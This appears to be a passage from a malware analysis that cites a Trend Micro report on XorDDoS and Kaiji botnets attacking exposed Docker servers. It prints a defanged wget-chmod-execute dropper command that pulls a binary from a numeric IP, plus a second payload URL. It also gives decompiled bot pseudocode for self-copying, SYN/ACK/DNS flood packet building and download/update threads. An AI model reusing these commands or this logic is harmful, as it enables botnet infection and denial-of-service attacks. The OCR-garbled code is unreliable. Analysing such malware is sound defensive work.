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wget hxxp://122[.151[.1133[.149:10086/VIP —O VIP

chmod 777 VIP

/VIP
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CreateDir(&us8);
CreateDir(&vs7);
CreateDir(&uso);
CreateDir(&vs2);
CreateDir(&us5);
randstr(&uoi, 10);

snprintf(&ui8, 1024, *"%s%s", &u58, &u60);
snprintf(&ui7, 1024, "%s%s", &u57, &u60);
snprintf(&uis, 1024, "%s%s", &uS6, &u60);

get_self(&uiu9, 1024);

copyfile(&ui9, &u53);

if ( copyfile(&vi9, &uuB) )

{
randmd5(&ui8);
LinuxExec(&uig);

’

else if ( copyfile(&uiu?9, &uiu7) )

{
randmd5(&vi7);
LinuxExec(&ui7);

b

else if ( copyfile(&uu9, &uus) )

{
randmd5(&uib);

LinuxExec(&uin);
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if ( vs == 5 )

{
*{ DWORD *)(u2 + 8)

b
else if ( vi == BxA )

{
*(_DWORD *)(u2 + 8)
b

else

{

build_syn(a?);

build _ack(a?);

if (vh =4 )

{
#( DWORD *)(v2 + 8) = 0;
return free(v2?);

b
*#( DWORD =*)(v2 + 8) = build_dns(a2);
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else if ( a4 == 6 )
{
vi17 = strdup(v28);
pthread create((int)&u21, 08, (int)downfile, vi7);
b
else if ( a4 == 7 )
{
vi1 = strdup(v2i);
pthread create((int)&v21, 8, (int)updatefile, vi1);
b
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http://62.171.160.189/1inux_arm
+x linux_arm
arm
f linux
stor)

i /usr/bin
f whoami yes x86_64 perl touch apt du head find last du stat who whami wget curl
in/
f mv ps sleep touch ss mkdir dd cat chmod dir ip su sed ping  ls cp login sh sed rm rmdir gzip echo date ls dir pwd rm tar sh

story
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[1] https://blog.trendmicro.com/trendlabs-security-intelligence/xorddos-kaiji-botnet-malware-
variants-target-exposed-docker-servers/
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